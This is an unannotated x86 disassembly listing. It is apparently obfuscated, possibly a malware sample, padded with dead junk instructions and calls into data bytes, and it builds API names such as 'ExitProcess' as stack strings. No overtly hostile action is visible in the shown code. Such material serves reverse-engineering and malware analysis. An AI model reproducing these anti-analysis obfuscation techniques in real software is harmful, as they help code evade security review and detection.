mov dword [ebp - 0x204c], edx
mov eax, dword [ebp - 0x204c]
add eax, dword [ebp - 0x15c0]
mov dword [ebp - 0x3f0], eax
push edx
add edx, 0x92c9
or edx, 0xdb33
jmp 0x436bee
xor edx, 0x18634
pop edx
push ecx
sub ecx, 0x965e
add ecx, 0x5bbd
jmp 0x436c09
pop ecx
mov byte [ebp - 0xbec], 0x52
mov byte [ebp - 0xbeb], 0xb9
mov byte [ebp - 0xbea], 0x10
mov byte [ebp - 0xbe9], 0x10
mov byte [ebp - 0xbe8], 0x10
mov byte [ebp - 0xbe7], 0x10
mov byte [ebp - 0xbe6], 0x5a
push edx
and edx, 0xee03
xor edx, 0xed13
add edx, 0x68df
pop edx
push esi
push ebx
add esp, 4
add esi, 0x96f8
or esi, 0x2499
sub esi, 0x32ba
sub esi, 0xa979
pop esi
mov byte [ebp - 0xbe4], 0x52
mov byte [ebp - 0xbe3], 0xb9
mov byte [ebp - 0xbe2], 0x20
mov byte [ebp - 0xbe1], 0x20
mov byte [ebp - 0xbe0], 0x20
mov byte [ebp - 0xbdf], 0x20
mov byte [ebp - 0xbde], 0x5a
push ecx
and ecx, 0x16894
and ecx, 0x13d6e
or ecx, 0x30e2
call 0x436cc0
add byte [ebx + 0x3b], cl
xor eax, 0x504f3e33
cmp eax, 0x4c4834c
pop ecx
push ecx
push ebx
add esp, 4
and ecx, 0xf28
pop ecx
mov dword [ebp - 0x20ec], 0xe
push ebx
push edx
add esp, 4
call 0x436cee
add byte [0x484e493e], bh
inc eax
inc edi
inc ebx
aaa
add esp, 4
pop ebx
push edi
push ecx
add esp, 4
and edi, 0xb533
and edi, 0x9a80
pop edi
push ebx
or ebx, 0x54c0
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbec]
mov dword [ebp - 0x15c4], eax
push edx
call 0x436d32
add byte [edx + 0x44], al
dec edx
inc ecx
dec edi
cmp dword [edi], esi
push eax
inc edx
add esp, 4
pop edx
push ebx
add ebx, 0x11297
call 0x436d49
add byte [ebx + eax*2], dh
xor al, 0x4e
dec edx
cmp al, byte [ebx - 0x1c7efb3c]
bswap esi
add byte [eax], al
pop ebx
mov dword [ebp - 0x20f0], 0xffffffff
push esi
sub esi, 0xdba4
pop esi
push ecx
or ecx, 0x167ab
pop ecx
push edi
or edi, 0x60d0
or edi, 0x8989
xor edi, 0x12d5b
pop edi
push edi
sub edi, 0x178f3
and edi, 0x17dfd
pop edi
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x4fc], ecx
jmp 0x436dac
push edi
xor edi, 0x1231d
sub edi, 0x4c64
pop edi
push ecx
push esi
add esp, 4
or ecx, 0x8b24
add ecx, 0x645f
xor ecx, 0xb5d
pop ecx
push eax
push eax
add esp, 4
xor eax, 0x89f5
pop eax
mov eax, dword [ebp - 0x4fc]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x436e26
push edx
push eax
add esp, 4
xor edx, 0x17480
and edx, 0x941a
sub edx, 0x13aec
xor edx, 0xd845
pop edx
push edx
and edx, 0xd846
jmp 0x436e1a
sub edx, 0x10ad6
pop edx
jmp 0x437054
mov dword [ebp - 0xc80], 7
mov ecx, dword [ebp - 0x4fc]
mov dword [ebp - 0xac4], ecx
push edi
push eax
add esp, 4
add edi, 0x1346d
add edi, 0xafaf
pop edi
push ecx
push ecx
push esi
push edx
add esp, 4
xor esi, 0x6604
pop esi
push edx
jmp 0x437069
pop edx
push esi
xor esi, 0x94e7
pop esi
push edi
call 0x437082
add byte [ebx + 0x33], al
aas
dec eax
dec ecx
dec esp
aas
dec ebp
push eax
add esp, 4
pop edi
mov dword [ebp - 0x3e8], 0
push edi
push eax
add esp, 4
xor edi, 0xc756
pop edi
push eax
and eax, 0x465e
jmp 0x4370ab
and eax, 0x1a43
pop eax
push esi
or esi, 0xae64
pop esi
push edx
and edx, 0x15a63
pop edx
push ebx
add ebx, 0xb24d
pop ebx
push ecx
push ecx
add esp, 4
xor ecx, 0xd50b
xor ecx, 0xaeb3
pop ecx
push esi
push ebx
add esp, 4
sub esi, 0x6e80
xor esi, 0x85d9
and esi, 0xe821
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe4]
mov dword [ebp - 0x15d0], eax
push edi
or edi, 0x15e20
add edi, 0x16389
sub edi, 0xdce6
call 0x43712b
add byte [esi + 0x3c], cl
inc edi
inc ecx
cmp edx, dword [eax + 0x34]
inc esi
inc edx
add esp, 4
pop edi
push esi
push ecx
add esp, 4
add esi, 0x10ce0
pop esi
mov dword [ebp - 0x20f4], 0xffffffff
push ecx
push eax
add esp, 4
xor ecx, 0xb7ef
and ecx, 0xc1ff
pop ecx
push eax
add eax, 0x12a
pop eax
push eax
push ebx
add esp, 4
xor eax, 0x16ee3
xor eax, 0xb07b
sub eax, 0x3dfb
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x437194
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push eax
or eax, 0xaa65
sub eax, 0x164fa
pop eax
push ebx
push esi
add esp, 4
or ebx, 0x45b5
or ebx, 0x799a
add ebx, 0x1334c
pop ebx
push edx
push esi
add esp, 4
and edx, 0x11a2f
pop edx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x43720e
push ecx
sub ecx, 0x143ab
call 0x4371ee
add byte [ecx + 0x4a], cl
xor al, 0x3c
dec esp
cmp edi, dword [esi]
inc esi
add esp, 4
jmp 0x4371fa
xor ecx, 0x8815
pop ecx
push ebx
xor ebx, 0x90bf
pop ebx
jmp 0x43743c
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push esi
jmp 0x43722d
pop esi
push edi
push esi
add esp, 4
jmp 0x43723c
sub edi, 0x76f4
pop edi
push ebx
push ecx
add esp, 4
add ebx, 0x11fd6
pop ebx
push edx
jmp 0x437255
pop edx
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x4372bd
push edx
and edx, 0x7cf7
and edx, 0x35af
or edx, 0x11b07
jmp 0x437295
pop edx
push edi
push edi
add esp, 4
call 0x4372a8
add byte [eax], bh
inc esp
inc eax
cmp al, 0x35
inc ebp
dec ecx
add esp, 4
pop edi
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x4373ee
cmp dword [ebp - 0xc88], 0
jle 0x4373e2
push edi
or edi, 0x177cf
pop edi
push edx
add edx, 0xebc7
jmp 0x4372df
add edx, 0x3e75
sub edx, 0x5b7e
pop edx
push esi
sub esi, 0x8428
pop esi
push ecx
or ecx, 0xfbc6
pop ecx
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x43737e
push edx
and edx, 0x96ee
pop edx
push ebx
and ebx, 0x9ec2
jmp 0x437329
pop ebx
push esi
sub esi, 0x1192
sub esi, 0xabee
and esi, 0x7300
and esi, 0x16ad2
pop esi
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x437366
mov dword [ebp - 0x15a0], 1
jmp 0x437370
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x4373e2
push eax
push esi
add esp, 4
add eax, 0x8fe1
add eax, 0x17d7b
pop eax
push ecx
push ecx
add esp, 4
jmp 0x43739e
or ecx, 0x8fe5
and ecx, 0x5639
jmp 0x4373af
pop ecx
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x4372bd
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x437437
push edx
push eax
add esp, 4
sub edx, 0x126e8
xor edx, 0x1485c
call 0x437416
add byte [eax + 0x45], al
inc eax
dec ecx
inc ebp
dec esi
inc esp
xor al, byte [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
inc edi
dec edx
inc ebp
inc eax
inc edi
inc esp
add esp, 4
pop edx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x437478
jmp 0x437185
push edi
or edi, 0xda31
sub edi, 0x19b9
add edi, 0x137e1
pop edi
push ebx
push edx
add esp, 4
add ebx, 0xe0fb
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0x350c
xor ebx, 0xab1e
pop ebx
mov dword [ebp - 0xab8], 0
push edi
push edx
add esp, 4
xor edi, 0x122c2
sub edi, 0x182da
xor edi, 0x6821
pop edi
push esi
and esi, 0x14289
or esi, 0xb120
or esi, 0xdd37
jmp 0x4374a9
pop esi
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push edx
push edi
add esp, 4
xor edx, 0xd4a3
xor edx, 0x1282b
call 0x43751c
add byte [eax + 0x40], dl
inc eax
xor cl, byte [ebp + 0x4d]
dec eax
add esp, 4
call 0x43752c
add byte [esi], bh
xor eax, 0x41464445
inc esp
add esp, 4
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx